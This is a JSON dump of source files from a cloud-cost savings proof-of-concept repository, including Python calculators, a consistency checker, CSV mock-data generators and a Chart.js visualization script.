[ { "alpha_fraction": 0.5614770650863647, "alphanum_fraction": 0.5674286484718323, "avg_line_length": 43.5361442565918, "blob_id": "5508decc630ac70fde910bcc36866cfed6dcf740", "content_id": "71c1cd1915e33f75b7d930d86d9c2704c08b6814", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7393, "license_type": "no_license", "max_line_length": 202, "num_lines": 166, "path": "/savingChecking.py", "repo_name": "Sifiros/pocCloudCost", "src_encoding": "UTF-8", "text": "#!/usr/bin/python2.7\n\n##\n## Sum up saving results, look for inconsistencies\n## Needs \"./calcSavings\" as input (run ./calcSavings | ./savingChecking.py)\n##\n\nfrom savingCalculator.DatasAggregate import DatasAggregate, SavingCycle\nimport json\nfrom decimal import *\nfrom datetime import datetime\nfrom dateutil.parser import *\nimport sys\nimport unittest\n\ndef totimestamp(dt, epoch=datetime(1970,1,1)):\n td = dt - epoch\n return (td.microseconds + (td.seconds + td.days * 86400) * 10**6) / 10**6 \n\nclass SavingChecking():\n # DatasAggregate\n datas = None\n savings = []\n\n def __init__(self, algoOutput):\n self.savings = algoOutput['raw']['savings']\n self.datas = DatasAggregate(algoOutput['raw']['costs'])\n self.datas.setSavingCycles(list(map(lambda cur:\n SavingCycle(self.datas, parse(cur['startDate']), cur['type'], cur['CAU'], cur['id'], True, parse(cur['endDate']))\n , algoOutput['raw']['savingCycles'])))\n self.datas.aggregate()\n\n def run(self):\n summaryCosts = self.summarizeCosts(self.datas.costs)\n summarySavings = self.summarizeSavings(self.savings)\n\n print(str(len(self.datas.costs)) +\" cost metrics loaded between \"+ summaryCosts['start'].strftime(\"%Y-%m-%d %H:%M\") + \n \" and \"+ summaryCosts['end'].strftime(\"%Y-%m-%d %H:%M\") + \" (\" + str(summaryCosts['duration']) + \" days) across \" + str(len(summaryCosts['CAU'])) + \" CAU : \" + str(summaryCosts['CAU']))\n print(\"Total real cost during this period : %d\" % summaryCosts['totalCost'])\n print(\"Total savings : %d (%.2f%% of costs across %d CAU : %s)\" %\n (summarySavings['total'], (summarySavings['total'] / summaryCosts['totalCost']) * 100,\n len(summarySavings['CAU']), str(summarySavings['CAU']))\n )\n # Print saving by event type\n for event in summarySavings['totalByEvent']:\n print(\"\\t%s = %d (%.2f%% of savings)\" % (\n event, summarySavings['totalByEvent'][event],\n (summarySavings['totalByEvent'][event] / summarySavings['total']) * 100\n ))\n print(\"\")\n nbErrors = self.lookForInconsistencies(summarySavings)\n if nbErrors == 0:\n print(\"PASSED:\\tEvery sum of real cost with saving is equal to corresponding unoptimized cost.\")\n print(\"> No inconsistency found !\")\n else:\n print(\"\\n\\nFAILURE:\\t%d (against %d datetimes) inconsistencies found.\" % (nbErrors, len(self.datas.sortedDatesWithCAU)))\n return (nbErrors)\n\n def lookForInconsistencies(self, summarySavings):\n nbErrors = 0\n theoricalCosts = {} # By cycle id then tagGroup\n getcontext().prec = 5\n for item in self.datas.sortedDatesWithCAU:\n isodate = item['isodate']\n totalCost = Decimal(0)\n totalSaving = Decimal(0)\n totalTheoricalCost = Decimal(0)\n\n savings = summarySavings['byDates'][isodate] if isodate in summarySavings['byDates'] else {}\n\n costs = self.datas.costUnitsByDate[isodate]\n for CAU in costs:\n for tagGroup in costs[CAU]:\n savingCycles = self.datas.savingCyclesByDate[isodate][CAU] if isodate in self.datas.savingCyclesByDate and CAU in self.datas.savingCyclesByDate[isodate] else []\n if len(savingCycles) == 0:\n totalTheoricalCost += Decimal(costs[CAU][tagGroup]['cost'])\n theoricalCosts[tagGroup] = costs[CAU][tagGroup]['cost'] \n totalCost += Decimal(costs[CAU][tagGroup]['cost'])\n\n for CAU in savings:\n for tagGroup in savings[CAU]:\n savingCycles = self.datas.savingCyclesByDate[isodate][CAU] if isodate in self.datas.savingCyclesByDate and CAU in self.datas.savingCyclesByDate[isodate] else []\n cost = self.datas.costUnitsByDate[isodate]\n cost = cost[CAU][tagGroup]['cost'] if CAU in cost and tagGroup in cost[CAU] else False\n curSaving = savings[CAU][tagGroup]\n saving = 0\n if cost is False: # saving d'un ancien tag group\n saving = curSaving['saving']\n totalTheoricalCost += Decimal(saving)\n else:\n saving = curSaving['saving']\n totalTheoricalCost += Decimal(theoricalCosts[tagGroup] if tagGroup in theoricalCosts else 0)\n\n totalSaving += Decimal(saving)\n\n # Last step : check sums\n tot = totalSaving + totalCost\n theoricalTot = totalTheoricalCost\n if tot != theoricalTot:\n op = \"lower\" if tot < theoricalTot else \"bigger\"\n print(\"On %s, sum of real cost and calculated saving (%.2f + %.2f = %.2f) is %s than unoptimized cost (%2.f) !\" %\n (isodate, totalCost, totalSaving, tot, op, theoricalTot))\n nbErrors += 1\n return nbErrors\n\n def summarizeSavings(self, savings):\n allCAU = set()\n summary = {\n 'byDates': {},\n 'totalByEvent': {},\n 'total': 0,\n 'CAU': []\n }\n\n for saving in savings:\n # Add curent date\n if saving['date'] not in summary['byDates']:\n summary['byDates'][saving['date']] = {}\n # Add current CAU to current date\n if saving['CAU'] not in summary['byDates'][saving['date']]:\n summary['byDates'][saving['date']][saving['CAU']] = {}\n if saving['tagGroup'] not in summary['byDates'][saving['date']][saving['CAU']]:\n summary['byDates'][saving['date']][saving['CAU']][saving['tagGroup']] = saving\n else: # saving already stored for this cau/taggroup = we're on another event\n summary['byDates'][saving['date']][saving['CAU']][saving['tagGroup']]['saving'] += saving['saving']\n # Add current event type to all events\n if saving['type'] not in summary['totalByEvent']:\n summary['totalByEvent'][saving['type']] = 0\n\n summary['totalByEvent'][saving['type']] += saving['saving']\n summary['total'] += saving['saving']\n allCAU.add(saving['CAU'])\n\n summary['CAU'] = list(allCAU)\n return summary\n\n def summarizeCosts(self, costs):\n allCAU = set()\n summary = {\n \"start\": False,\n \"end\": False,\n \"duration\": False,\n \"totalCost\": 0,\n \"CAU\": []\n }\n for cost in costs:\n if (summary['start'] and totimestamp(cost['date']) < totimestamp(summary['start'])) or not summary['start']:\n summary['start'] = cost['date']\n if (summary['end'] and totimestamp(cost['date']) > totimestamp(summary['end'])) or not summary['end']:\n summary['end'] = cost['date']\n summary['totalCost'] += cost['cost']\n allCAU.add(cost['CAU'])\n \n summary['duration'] = (summary['end'] - summary['start']).days\n summary['CAU'] = list(allCAU)\n return summary\n\n\ndef main():\n datas = json.loads(sys.stdin.read())\n\n savingChecking = SavingChecking(datas)\n savingChecking.run()\n\nif __name__ == \"__main__\":\n sys.exit(main())\n" }, { "alpha_fraction": 0.6122449040412903, "alphanum_fraction": 0.6193640232086182, "avg_line_length": 41.13999938964844, "blob_id": "08e06f811a3a8a5c808316d6c51b46b400a95ad3", "content_id": "23218b024db6dae3cabe5d2ce9fa49e06e225727", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2107, "license_type": "no_license", "max_line_length": 123, "num_lines": 50, "path": "/run.py", "repo_name": "Sifiros/pocCloudCost", "src_encoding": "UTF-8", "text": "#!/usr/bin/python2.7\n\nimport sys\nfrom os import system\nimport argparse\nfrom calcSavings import run\n\nCSV_PATH = './dataMocks/csv/'\nmocks = {\n 'ri': (CSV_PATH + 'ri_only_savings.csv', CSV_PATH + 'ri_only_events.csv'),\n 'no_event': (CSV_PATH + 'void_savings.csv', CSV_PATH + 'void_events.csv'),\n 'both': (CSV_PATH + 'both_savings.csv', CSV_PATH + 'both_events.csv'),\n 'cloudC': (CSV_PATH + 'cloudC_only_savings.csv', CSV_PATH + 'cloudC_only_events.csv'),\n 'same_time': (CSV_PATH + 'event_same_time_savings.csv', CSV_PATH + 'event_same_time_events.csv'),\n 'iops_iner': (CSV_PATH + 'iops_iner_savings.csv', CSV_PATH + 'iops_iner_events.csv'),\n 'iops_outer': (CSV_PATH + 'iops_outer_savings.csv', CSV_PATH + 'iops_outer_events.csv'),\n 'tiny1': (CSV_PATH + 'simple_costs.csv', CSV_PATH + 'simple_events.csv'),\n 'tiny2': (CSV_PATH + '2parentsdead_costs.csv', CSV_PATH + '2parentsdead_events.csv'),\n 'generated': (CSV_PATH + 'generated_costs.csv', CSV_PATH + 'generated_events.csv')\n}\n\ndef run_calc(files):\n return run({\n 'costs_filepath': files[0],\n 'events_filepath': files[1],\n 'output_file': 'ui/datas.json',\n 'only_raw_fields': 'eventNames',\n 'filters_preset': ['sum_by_hour', 'sum_by_cau']\n })\n\ndef run_test(files):\n cmd = \"./calcSavings.py --costs-file {} --events-file {} | ./savingChecking.py\".format(files[0], files[1])\n return system(cmd)\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(\"Easy interface to ./calcSavings.py usage.\\nMocks: \" + str(list(mocks.keys())) + \"\\n\")\n parser.add_argument(\"mock\", metavar=\"MOCK\", type=str, nargs=1, help=\"Indicate a mock to be tested\")\n parser.add_argument(\"--test\", \"-t\", action=\"store_true\", help=\"Only run test for specified mock\")\n\n args = parser.parse_args()\n mock = args.mock[0]\n if mock not in mocks:\n parser.print_help() \n exit(1)\n files = mocks[mock]\n if args.test is True:\n run_test(files)\n elif run_calc(files) == 0:\n system(\"chromium ./ui/ui.html || firefox ./ui/ui.html || chrome ./ui/ui.html\")\n exit(0)\n" }, { "alpha_fraction": 0.6773309111595154, "alphanum_fraction": 0.6828153729438782, "avg_line_length": 27.076923370361328, "blob_id": "01d16ddfa627e95a81e85ab4215279b42cba461b", "content_id": "10f83dd0763619869ab4515390035626883d1be8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1094, "license_type": "no_license", "max_line_length": 62, "num_lines": 39, "path": "/run_tests", "repo_name": "Sifiros/pocCloudCost", "src_encoding": "UTF-8", "text": "#!/bin/python2.7\nimport sys\nfrom run import mocks\nimport unittest\nfrom savingCalculator.TeevityAPI import TeevityAPI\nfrom savingCalculator.SavingCalculator import SavingCalculator\nfrom savingChecking import SavingChecking\n\nclass TestMocks(unittest.TestCase):\n def computeMock(self, mockName):\n files = mocks[mockName]\n api = TeevityAPI(files[0], files[1])\n costs = api.GetCostDatas()\n events = api.GetEvents()\n calculator = SavingCalculator(costs, events)\n return {'raw': calculator.getSavings()}\n\ndef generateTestFunc(mockName): \n def test(self):\n datas = self.computeMock(mockName)\n checking = SavingChecking(datas)\n result = checking.run()\n self.assertEqual(result, 0)\n return test\n\ndef appendNewMockTest(mockName):\n test_func = generateTestFunc(mockName)\n test_name = \"test_{}\".format(mockName)\n setattr(TestMocks, test_name, test_func)\n\ndef main():\n for mockName in mocks:\n appendNewMockTest(mockName)\n\n unittest.main()\n return 0\n\nif __name__ == \"__main__\":\n sys.exit(main())" }, { "alpha_fraction": 0.6026408672332764, "alphanum_fraction": 0.6054995656013489, "avg_line_length": 40.977142333984375, "blob_id": "c8414cf8499f9939a1df3b61f1d3c08e468201ab", "content_id": "e9af5243ef0ab0b3a8e6fc9a33348406ace5098e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7346, "license_type": "no_license", "max_line_length": 189, "num_lines": 175, "path": "/calcSavings.py", "repo_name": "Sifiros/pocCloudCost", "src_encoding": "UTF-8", "text": "#!/usr/bin/python2.7\n\nfrom savingCalculator.TeevityAPI import TeevityAPI\nfrom savingCalculator.SavingCalculator import SavingCalculator\nfrom dateutil.parser import *\nfrom datetime import *\nimport json\nimport sys\nimport argparse\n\ndef parse_filter_opt(opt, filterType, out):\n for cur in opt:\n split = cur.split(':')\n if len(split) < 2:\n return False \n fields = split[1].split(',')\n if split[0] not in out:\n out[split[0]] = {filterType: fields}\n else:\n out[split[0]][filterType] = fields\n\n return True\n\ndef merge_rows(datas, mergeBy):\n first = False\n for v in datas:\n if first is False:\n first = v\n if len(mergeBy) < 1:\n return first\n else:\n for key in mergeBy:\n first[key] += v[key]\n return first\n\ndef group_rows(datas, groupBy, mergeBy):\n lastGroupLvls = []\n result = {}\n for row in datas:\n cur = result\n groupByLen = len(groupBy)\n i = 0\n while i < (groupByLen - 1):\n keyValue = row[groupBy[i]]\n if keyValue not in cur:\n cur[keyValue] = {}\n # Last level for this new group : store it \n if (i + 1) == (groupByLen - 1):\n lastGroupLvls.append(cur[keyValue]) \n cur = cur[keyValue]\n i += 1\n lastKey = row[groupBy[i]]\n if lastKey not in cur:\n cur[lastKey] = []\n # cur[lastKey] is now the list containing all rows of same group than current row\n cur[lastKey].append(row)\n\n if len(groupBy) == 1:\n lastGroupLvls = [result]\n if mergeBy is not None and len(mergeBy) > 0:\n for curLastLvl in lastGroupLvls:\n for grpKey in curLastLvl:\n merged = merge_rows(curLastLvl[grpKey], mergeBy)\n curLastLvl[grpKey] = merged\n\n return result\n\ndef apply_filters(datas, filters):\n if filters['group_by'] is not None:\n return group_rows(datas, filters['group_by'], filters['merge_by'] if 'merge_by' in filters else None)\n if filters['merge_by'] is not None:\n return merge_rows(datas, filters['merge_by'])\n return datas\n\ndef run(args, filters=False):\n if 'costs_filepath' not in args or 'events_filepath' not in args:\n args['costs_filepath'] = \"./dataMocks/csv/generated_costs.csv\"\n args['events_filepath'] = \"./dataMocks/csv/generated_events.csv\"\n\n # filters preset\n if 'filters_preset' in args:\n if 'sum_by_hour' in args['filters_preset']:\n if filters is False:\n filters = {}\n filters['savings'] = {'group_by': ['date', 'type'], 'merge_by': ['saving', 'depth']}\n filters['costs'] = {'group_by': ['date'], 'merge_by': ['cost', 'saving']}\n if 'sum_by_cau' in args['filters_preset']:\n if filters is False:\n filters = {}\n filters['savingCycles'] = {'group_by': ['type', 'CAU']}\n\n api = TeevityAPI(args['costs_filepath'], args['events_filepath'])\n calculator = SavingCalculator(api.GetCostDatas(), api.GetEvents())\n out = {}\n try:\n raw = calculator.getSavings()\n except Exception as error:\n sys.stderr.write(\"An error occured %s\\n\" % (error))\n return (-1)\n except KeyboardInterrupt:\n sys.stderr.write(\"\\nSIGINT caught, interrupt program\\n\")\n return (-1)\n except:\n sys.stderr.write(\"Unknown error occured\\n\")\n return (-1)\n \n out['dates'] = raw['dates']\n raw.pop('dates')\n if filters is not False:\n out['summarize'] = {}\n for field in filters:\n out['summarize'][field] = apply_filters(raw[field], filters[field])\n if 'no_raw_fields' not in args or args['no_raw_fields'] is False:\n out['raw'] = raw\n if 'only_raw_fields' in args and args['only_raw_fields'] is not None:\n only_fields = args['only_raw_fields'].split(',')\n skip = list(filter(lambda k: k not in only_fields, raw.keys()))\n for k in skip:\n raw.pop(k)\n\n if 'output_file' not in args or args['output_file'] is None:\n print(json.dumps(out))\n else:\n calculator.storeToFile(out, args['output_file'])\n return 0\n\ndef main():\n parser = argparse.ArgumentParser(\n \"Provided cloud cost & event datas, compute then output in 3 fields of json 'raw' result : savings, savingCycles, costs, eventNames. \\n \"\n \"GROUP_BY and MERGE_BY options need to start by one of these 3 fields followed by ':' in order to filter on the right field. \\n \"\n \"ex: ./calcSavings --group-by=savings:date,type --merge-by=savings:saving,depth \\t #Group savings by unique date then event type, before merging all of their saving in one row\\n\")\n parser.add_argument(\"--group-by\", type=str, action=\"append\", help=\"Group saving datas by some columns of given fieldname. Output result in 'summarize'\")\n parser.add_argument(\"--merge-by\", type=str, action=\"append\", help=\"Merge saving datas by some columns of given fieldname. Output result in 'summarize'\")\n parser.add_argument(\"--no-raw-fields\", action=\"store_true\", help=\"Disable output of whole datas set computed by the algorithm in 'raw' field.\")\n parser.add_argument(\"--only-raw-fields\", type=str, help=\"Output only raw fields indicated by this option\")\n parser.add_argument(\"--sum-by-hour\", action=\"store_true\", help=\"Same as --group-by=savings:date,type --merge-by=savings:saving,depth --group-by=costs:date --merge-by=costs:cost,saving\")\n parser.add_argument(\"--sum-by-cau\", action=\"store_true\", help=\"Same as --group-by=savingCycles:type,cau\")\n parser.add_argument(\"--costs-file\", help=\"Path of input cost datas file. Must be used with --events-file\")\n parser.add_argument(\"--events-file\", help=\"Path of input cost datas file. Must be used with --costs-file\")\n parser.add_argument(\"-o\", \"--output-file\", help=\"Path of outputfile. 'datas = ' is appended on file beginning\")\n\n args = parser.parse_args() \n filters = {} if args.group_by != None or args.merge_by != None else False\n\n if args.group_by != None:\n if parse_filter_opt(args.group_by, 'group_by', filters) is False:\n sys.stderr.write(\"Please specify relevant fieldname with --group-by\\n\")\n parser.print_help() \n return\n if args.merge_by != None:\n if parse_filter_opt(args.merge_by, 'merge_by', filters) is False:\n sys.stderr.write(\"Please specify relevant fieldname with --merge-by\\n\")\n parser.print_help() \n return\n\n if (args.costs_file and not args.events_file) or (args.events_file and not args.costs_file):\n sys.stderr.write(\"--costs-file and --events-file options MUST be used together.\\n\")\n return \n\n filters_preset = []\n if args.sum_by_cau:\n filters_preset.append('sum_by_cau')\n if args.sum_by_hour:\n filters_preset.append('sum_by_hour')\n return run({\n 'costs_filepath': args.costs_file,\n 'events_filepath': args.events_file,\n 'no_raw_fields': args.no_raw_fields,\n 'only_raw_fields': args.only_raw_fields,\n 'output_file': args.output_file,\n 'filters_preset': filters_preset\n }, filters)\n\nif __name__ == \"__main__\":\n sys.exit(main())\n" }, { "alpha_fraction": 0.5296000242233276, "alphanum_fraction": 0.5659999847412109, "avg_line_length": 36.3283576965332, "blob_id": "00af782e4ec8f66d91e938a638ccb1b30522e054", "content_id": "941101df6e89321d9fbec6ab290e58d54e903d5f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2500, "license_type": "no_license", "max_line_length": 109, "num_lines": 67, "path": "/dataMocks/pure_random_generator_csv.py", "repo_name": "Sifiros/pocCloudCost", "src_encoding": "UTF-8", "text": "#!/usr/bin/python2\n# vim: set fileencoding=utf-8 :\n\nimport csv\nfrom datetime import timedelta\nfrom dateutil.parser import *\nfrom os import system\nimport random\n\nfname = \"teevity_savings.csv\"\nexemple = {'Account': '492743234823', 'Region': 'eu-west-1', 'UsageType': 'm4.2xlarge', \\\n 'Product': 'ec2_instance', 'Cost': '3', 'Date': '2017-08-10-19:00', 'Operation': 'Reserved', \\\n 'CAU (aka ResourceGroup)': 'PROD/ProjectA/Frontend'}\n\nCAUs = ['PROD/ProjectA/Fontend', 'PROD/ProjectA/Backend', 'PROD/ProjectB/Fontend', 'PROD/ProjectB/Backend', \\\n 'DEV/ProjectA/Fontend', 'DEV/ProjectA/Backend', 'DEV/ProjectB/Fontend', 'DEV/ProjectB/Backend']\n\niteration_number = 1000\naccount = '492743284828'\nstartDate = '2017-08-10-00:00'\nregion = 'eu-west-1'\nusageCost = {'m4.2xlarge' : 8, 'bytes-out': 0.3, 'r3.8xlarge': 80, 't2.micro' : 0.1}\noperation = ['Reserved', 'OnDemand']\n\n#random.randrange(start, stop, step)\ndef start_writing(filename, fieldnames):\n newRow = {'Account':account, 'Region':region}\n with open(filename, 'a+') as wfile:\n i = 0\n writer = csv.DictWriter(wfile, fieldnames)\n currentTime = parse(startDate)\n currentUsageType = \"\"\n\n while i < iteration_number:\n usageRand = random.randrange(0, 3, 1)\n for j, x in enumerate(usageCost):\n print(\"enumerate => {}\".format(j))\n if j == usageRand:\n newRow['UsageType'] = x\n newRow['Cost'] = usageCost[x]\n if x == 'bytes-out':\n newRow['Operation'] = 'datatransfert'\n newRow['Product'] = 'ec2'\n else:\n newRow['Operation'] = operation[(usageRand + 1) % 2]\n newRow['Product'] = 'ec2_instance'\n CAURand = random.randrange(0, 8, 1)\n newRow['CAU'] = CAUs[CAURand]\n if ((random.random() * 100) % 3) == 0:\n currentTime += timedelta(hours=1)\n newRow['Date'] = currentTime.isoformat()\n print(currentTime)\n writer.writerow(newRow)\n i = i + 1\n\nfile = open(fname, \"rb\")\nrandom.seed(None)\nret = system(\"cp ./save.csv ./teevity_savings.csv\")\nif ret == 0:\n try:\n reader = csv.DictReader(file)\n fieldnames = reader.fieldnames\n print(\"tab identifiers => {}\".format(fieldnames))\n print(\"\")\n finally:\n file.close()\n start_writing(fname, fieldnames)" }, { "alpha_fraction": 0.646103024482727, "alphanum_fraction": 0.6521619558334351, "avg_line_length": 22.577922821044922, "blob_id": "ae3e242b755000bed464679ce0668e28b5826067", "content_id": "391740411aa83aa3441ac56e83ba1275a88e0188", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 3631, "license_type": "no_license", "max_line_length": 133, "num_lines": 154, "path": "/ui/savingChart.js", "repo_name": "Sifiros/pocCloudCost", "src_encoding": "UTF-8", "text": "function TeevityChart(blockId, title, datasets) {\n\tthis.disabledDatasets = []\n\tvar conf = prepareDatasets(datasets);\n\tthis.datasets = conf.datasets\n\tthis.lines = conf.lines\n\tthis.config = prepareChartConfig(title, this.datasets)\n\tthis.chart = initChart(blockId, this.config)\n\n\tthis.addNewDataset = function(dataset) {\n\t\tif (!Array.isArray(dataset))\n\t\t\tdataset = [dataset]\n\t\tvar conf = prepareDatasets(dataset);\n\t\tArray.prototype.push.apply(this.datasets, conf.datasets);\n\t\tArray.prototype.push.apply(this.lines, conf.lines);\n\t\tthis.toggleDataset()\n\t}\n\n\tthis.setDatasetPrices = function(datasetLabel, prices) {\n\t\tthis.addMetric(prices.map(mapMetricToData), datasetLabel);\n\t}\n\n\tthis.addMetric = function(metric, datasetLabel) {\n\t\tfor (var dataset of this.datasets) {\n\t\t\tif (dataset.label == datasetLabel) {\n\t\t\t\tif (!Array.isArray(metric))\n\t\t\t\t\tdataset.data.push(metric)\n\t\t\t\telse\n\t\t\t\t\tArray.prototype.push.apply(dataset.data, metric)\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\t\treturn false\n\t}\n\n\tthis.toggleDataset = function(datasetLabel) {\n\t\tif (datasetLabel) {\n\t\t\tvar idx = this.disabledDatasets.indexOf(datasetLabel)\n\t\t\tif (idx != -1)\n\t\t\t\tthis.disabledDatasets.splice(idx, 1);\n\t\t\telse\n\t\t\t\tthis.disabledDatasets.push(datasetLabel);\n\t\t}\n\n\t\tthis.chart.destroy();\n\t\tthis.config = prepareChartConfig(title, this.datasets, this.disabledDatasets, this.lines)\n\t\tthis.chart = initChart(blockId, this.config);\n\t\tthis.refresh();\n\t}\n\n\tthis.refresh = function() {\n\t\tthis.chart.update();\n\t}\n}\n\n/*\n * Chart init functions\n */\nfunction initChart(blockId, config) {\n\tvar ctx = document.getElementById(blockId).getContext(\"2d\");\n\tvar myLine = new Chart(ctx, config);\n\n\treturn myLine;\n}\n\nfunction prepareDatasets(datasetConfig) {\n function randomColor(opacity) {\n function randomColorFactor() {\n return Math.round(Math.random() * 255);\n }\n return 'rgba(' + randomColorFactor() + ',' + randomColorFactor() + ',' + randomColorFactor() + ',' + (opacity || '.3') + ')';\n }\n\tvar datasets = [];\n\tvar lines = [];\n\tfor (dataset of datasetConfig) {\n\t\tconst borderColor = dataset.borderColor || randomColor(0.4)\n\t\tconst backgroundColor = dataset.backgroundColor || randomColor(0.6)\n\n\t\tdatasets.push({\n\t\t\tlabel: dataset.label,\n\t\t\tborderColor: borderColor,\n\t\t\tbackgroundColor: backgroundColor,\n\t\t\tdata: (dataset.data ? dataset.data.map(mapMetricToData) : []),\n\t\t\tfill: typeof dataset.fill != 'undefined' ? dataset.fill : false\n\t\t});\n\t}\n\n\n\t// sort the array so Total Cost appears firts\n\tdatasets.sort( function(a, b) {\n\t\tif (a.label == \"Total costs\")\n\t\t\treturn -1;\n\t\telse if (b.label == \"Total costs\")\n\t\t\treturn 1;\n\t\treturn 0;\n\t})\n\n\treturn ({\n\t\tdatasets: datasets,\n\t\tlines: lines\n\t})\n}\n\nfunction mapMetricToData(metric) {\n\treturn ({\n\t\tx: moment(metric.date).toDate(),\n\t\ty: metric.value\n\t})\n}\n\nfunction prepareChartConfig(chartTitle, allDatasets, excludeDatasets = [], lines = []) {\n\tvar datasets = allDatasets.filter(function(cur) {\n\t\treturn !excludeDatasets.some(function(exc) {\n\t\t\treturn exc == cur.label\n\t\t})\n\t});\n\treturn ({\n\t\ttype: 'line',\n\t\tdata: {\n\t\t\tdatasets: datasets,\n\t\t\torder: function(t1, t2) {\n\t\t\t\tconsole.log(t1);\n\t\t\t\tconsole.log(t2);\n\t\t\t\treturn t1 < t2;\n\t\t\t}\n\t\t},\n\t\toptions: {\n\t\t\tresponsive: true,\n\t\t\ttitle:{\n\t\t\t\tdisplay:true,\n\t\t\t\ttext: chartTitle\n\t\t\t},\n\t\t\tscales: {\n\t\t\t\txAxes: [{\n\t\t\t\t\ttype: \"time\",\n\t\t\t\t\tdisplay: true,\n\t\t\t\t\tscaleLabel: {\n\t\t\t\t\t\tdisplay: true,\n\t\t\t\t\t\tlabelString: 'Date'\n\t\t\t\t\t},\n\t\t\t\t\tstacked: true\n\t\t\t\t}],\n\t\t\t\tyAxes: [{\n\t\t\t\t\tdisplay: true,\n\t\t\t\t\tscaleLabel: {\n\t\t\t\t\t\tdisplay: true,\n\t\t\t\t\t\tlabelString: 'Saving',\n\t\t\t\t\t},//, ticks: {max: 45}\n\t\t\t\t\t stacked: true\n\t\t\t\t}]\n\t\t\t},\n\t\t \"horizontalLine\": lines\n\t\t}\n\t})\n}\n" }, { "alpha_fraction": 0.5, "alphanum_fraction": 0.5235507488250732, "avg_line_length": 9.84313678741455, "blob_id": "d0e187ae9e1e1da612a9ace7d6fff8dd1e5c80ca", "content_id": "f3149d99d9e400cb2b809641edb724ba38e4bb52", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 552, "license_type": "no_license", "max_line_length": 23, "num_lines": 51, "path": "/README.md", "repo_name": "Sifiros/pocCloudCost", "src_encoding": "UTF-8", "text": "# pocCloudCost\nTeevity cloud cost poc\n\n\n# TeevityAPI\n\n## GetCostDatas\n```python\nreturn [{\n\t\tdate: 'utc1',\n\t\tcosts: {\n\t\t\ts3: '25',\n\t\t\tec2: ...\n\t\t}\n\t}, {\n\t\tdate: 'utc2',\n\t\tcosts: {\n\t\t\ts3: '20',\n\t\t\tec2: ...\n\t\t}\n\t}\n]\n```\n\n## GetEvents\nAvailable events :\n\n\t- start_instance\n\t- shutdown_instance\n\t- modify_ebs_iops\n\t- destroy_ebs_volume\n\n```python\nreturn [{\n\t\tdate: 'heure1',\n\t\tevents: {\n\t\t\tshutdown_instance: {\n\t\t\t\tresource: 'ec2'\n\t\t\t\tinstanceid: '...'\n\t\t\t}\n\t\t}\n\t}, {\n\t\tdate: 'heure1',\n\t\tevents: {\n\t\t\tmodify_ebs_iops: {\n\t\t\t\tvolumeid: '...'\n\t\t\t}\n\t\t}\n\t}\n]\n```" }, { "alpha_fraction": 0.5614343881607056, "alphanum_fraction": 0.5765900015830994, "avg_line_length": 45.484275817871094, "blob_id": "4b120c0c9c42e07c8aa7ccc864f1bc9b8e695216", "content_id": "7841771037c2b30f7a8444ec6b14b1eadc81470f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7392, "license_type": "no_license", "max_line_length": 125, "num_lines": 159, "path": "/dataMocks/generator_csv.py", "repo_name": "Sifiros/pocCloudCost", "src_encoding": "UTF-8", "text": "#!/usr/bin/python2\n# vim: set fileencoding=utf-8 :\n\nimport csv\nimport copy\nfrom datetime import timedelta\nfrom dateutil.parser import *\nfrom os import system\nimport random\n\n# gérer par nombre d'instance et séparer ec2 et ebs\n\ncosts_fname = \"./csv/generated_costs.csv\"\nevents_fname = \"./csv/generated_events.csv\"\n\nCAUs = ['PROD/ProjectA/Frontend', 'PROD/ProjectA/Backend', 'PROD/ProjectB/Frontend', 'PROD/ProjectB/Backend', \\\n 'DEV/ProjectA/Frontend', 'DEV/ProjectA/Backend', 'DEV/ProjectB/Frontend', 'DEV/ProjectB/Backend']\n\n# start - end\nhour_offOn = [19, 8]\nhour_Iops = [1, 12]\n\n# number of hours that will be generated\niteration_number = 48\n\n# Number of resources divided by what on Shutdown event\ninstance_divider = 3\nri_percent_multiplier = 0.50\niops_percet_multiplier = 0.80 # EX : 0.80 represent 20% of reduction\n\n#hardcode\naccount = '492743284828'\nstartDate = '2017-08-10-13:00'\nregion = 'eu-west-1'\n\n# is Reserved or not\noperation = ['Reserved', 'OnDemand']\n\n# Unit / hour pricing\nusageCost = {'m4.2xlarge' : 8.0, 'bytes-out': 0.3, 'r3.8xlarge': 80.0, 't2.micro' : 0.6}\n\n# Number of resources at start\nresourceRef = {'m4.2xlarge' : 7, 'bytes-out': 3, 'r3.8xlarge': 3, 't2.micro' : 16}\nresourceUsed = {'m4.2xlarge' : 7, 'bytes-out': 3, 'r3.8xlarge': 3, 't2.micro' : 16}\n\neventType = {'Ri': 'RIStart', \\\n 'start': 'reStart', 'shut' : 'Shutdown', \\\n 'iopUP' : 'increase_iops', 'iopDown' : 'decrease_iops'}\n\n#random.randrange(start, stop, step)\ndef get_object_list():\n rowList = []\n usedCAUList = []\n for x in usageCost:\n newRow = {'Account':account, 'Region':region}\n newRow['UsageType'] = x\n newRow['Cost'] = usageCost[x] * resourceRef[x]\n if x == 'bytes-out':\n newRow['Operation'] = 'datatransfert'\n newRow['Product'] = 'ec2'\n else:\n newRow['Operation'] = operation[1]\n newRow['Product'] = 'ec2_instance'\n newRow['CAU'] = CAUs[random.randrange(0, 8, 1)]\n usedCAUList.append(newRow['CAU'])\n rowList.append(newRow)\n CAUListSet = set(usedCAUList)\n return rowList, CAUListSet\n\ndef start_writing(costs_filename, costs_fieldnames, event_filename, event_fieldnames):\n with open(costs_filename, 'w') as cost_file:\n cost_file.write(','.join(costs_fieldnames) + \"\\n\")\n event_file = open(event_filename, 'w')\n event_file.write(','.join(event_fieldnames) + \"\\n\")\n event_writer = csv.DictWriter(event_file, event_fieldnames)\n writer = csv.DictWriter(cost_file, costs_fieldnames)\n rowList, usedCauSet = get_object_list()\n currentTime = parse(startDate)\n\n i = 0\n while i < iteration_number:\n isThisEventAlreadySet = {e:False for e in usedCauSet}\n isIOPSAlreadySet = {el:False for el in usedCauSet}\n isRIAlreadyTriggered = 